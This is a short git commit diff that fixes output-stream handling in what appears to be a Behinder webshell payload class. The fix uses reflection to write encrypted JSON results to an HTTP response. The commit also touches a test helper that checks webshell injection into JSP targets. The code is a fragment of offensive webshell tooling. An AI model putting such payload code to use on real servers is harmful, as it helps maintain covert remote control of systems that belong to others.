fix: behinder outputStream methodNotFound

This commit is contained in:
ReaJason
2024-12-22 16:51:24 +08:00
parent 61b31f730f
commit bdefe3928c
2 changed files with 9 additions and 5 deletions
@@ -32,10 +32,15 @@ public class Test {
result.put("status", "success"); result.put("status", "success");
} finally { } finally {
try { try {
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private Object so = null;
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream"); try {
getOutputStreamMethod.setAccessible(true); so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Object so = getOutputStreamMethod.invoke(this.Response); } catch (Exception e) {
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
getOutputStreamMethod.setAccessible(true);
so = getOutputStreamMethod.invoke(this.Response);
}
Method write = so.getClass().getMethod("write", byte[].class); Method write = so.getClass().getMethod("write", byte[].class);
String jsonStr = this.buildJson(result, true); String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8"))); write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
@@ -65,7 +65,6 @@ public class ShellAssertionTool {
} }
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
System.out.println(content);
switch (packer) { switch (packer) {
case JSP -> { case JSP -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";